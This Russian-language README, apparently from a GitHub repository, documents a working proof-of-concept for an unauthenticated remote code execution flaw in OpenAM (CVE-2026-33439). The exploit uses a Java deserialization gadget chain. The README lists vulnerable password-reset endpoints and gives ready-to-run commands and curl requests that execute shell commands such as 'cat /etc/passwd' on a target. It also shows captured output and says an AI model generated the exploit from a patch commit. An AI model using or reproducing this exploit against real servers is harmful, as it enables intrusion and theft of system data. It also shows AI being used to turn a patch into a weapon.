ibonok/cve-2026-33439-pocЭксплойт для OpenAM pre-auth RCE (CVE-2026-33439) с использованием цепочки гаджетов Java-десериализации для выполнения команд и возврата вывода непосредственно в HTTP-ответе.
Вывод команды напрямую в HTTP-ответе — не требуется DNS-эксфильтрация или OOB.
Использует com.iplanet.jato.RequestManager.getRequestContext() для доступа к активному
JATO ThreadLocal запросу/ответу во время десериализации. Работает на Java 21+, где
классические техники эха Tomcat (Thread.target / ThreadGroup.threads traversal) не работают.
javac для компиляции транcлета во время выполнения)click-nodeps-2.3.0.jar и xalan-2.7.x.jar в classpath| Конечная точка | Вывод эха |
|---|
/sso/ui/PWResetUserValidation | HTTP 200, вывод команды в теле ответа |
/sso/ui/PWResetQuestion | HTTP 200, вывод команды в теле ответа |
/sso/ui/PWResetSuccess | HTTP 200, вывод команды в теле ответа |
Также протестировано, но без вывода эха (десериализация всё равно срабатывает):
/sso/ui/PWResetInvalidURL — возвращается страница ошибки/sso/ui/PWResetUncaughtException — возвращается страница ошибки./build.sh
JAR автоматически добавляет JVM-флаги --add-opens — указывать их вручную не нужно.
# Всё в одном: генерация payload + отправка + вывод результата (прокси через Burp)
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'id'
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'cat /etc/passwd'
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'uname -a'
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'hostname && whoami && pwd'
# Без прокси Burp
java -jar CVE-2026-33439-Echo.jar send https://TARGET/sso 'id' --no-proxy
# Генерация переиспользуемого payload (команда берётся из заголовка 'cmd' во время запроса)
P=$(java -jar CVE-2026-33439-Echo.jar generate 2>/dev/null)
curl -sk -H 'cmd: id' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P"
curl -sk -H 'cmd: cat /etc/passwd' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P"
curl -sk -H 'cmd: ls -la /' "https://TARGET/sso/ui/PWResetUserValidation?jato.clientSession=$P"
$ java -jar CVE-2026-33439-Echo.jar send https://<URL>/sso 'id'
uid=8866(docker) gid=8865(docker) groups=8865(docker)
$ java -jar CVE-2026-33439-Echo.jar send https://<URL>/sso 'cat /etc/passwd'
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...
docker:x:8866:8865::/home/docker:/bin/bash
PriorityQueue (цепочка гаджетов Click1 + Xalan TemplatesImpl)RequestManager.getRequestContext() для получения активного JATO запроса/ответаcmd, выполняет sh -c <cmd>, записывает stdout+stderr в response.getOutputStream()\x00 + URL-safe Base64, без дополнения)/sso/ui/PWResetUserValidation?jato.clientSession=<payload> (без аутентификации)CVE-2026-33439-PoC-echo/
CVE-2026-33439-Echo.jar # Эксплойт JAR
build.sh # Скрипт сборки
MANIFEST.MF # Манифест JAR
README.md # Этот файл
lib/ # Зависимости (должны находиться рядом с JAR)
click-nodeps-2.3.0.jar
xalan-2.7.1.jar
serializer-2.7.3.jar
javax.servlet-api-4.0.1.jar
src/
CVE_2026_33439_Echo.java # Исходный код
Исправлено в коммите OpenAM 014007c63cacc834cc795a89fac0e611aebc4a32 — добавлен
фильтр классов в ObjectInputStream в SessionEncodeURL.readSessionID().
PoC создан с помощью Claude; промптом послужили статья (https://www.hacktron.ai/blog/openam-deserialization-pre-auth-rce) и Git-коммит (https://github.com/OpenIdentityPlatform/OpenAM/commit/014007c63cacc834cc795a89fac0e611aebc4a32)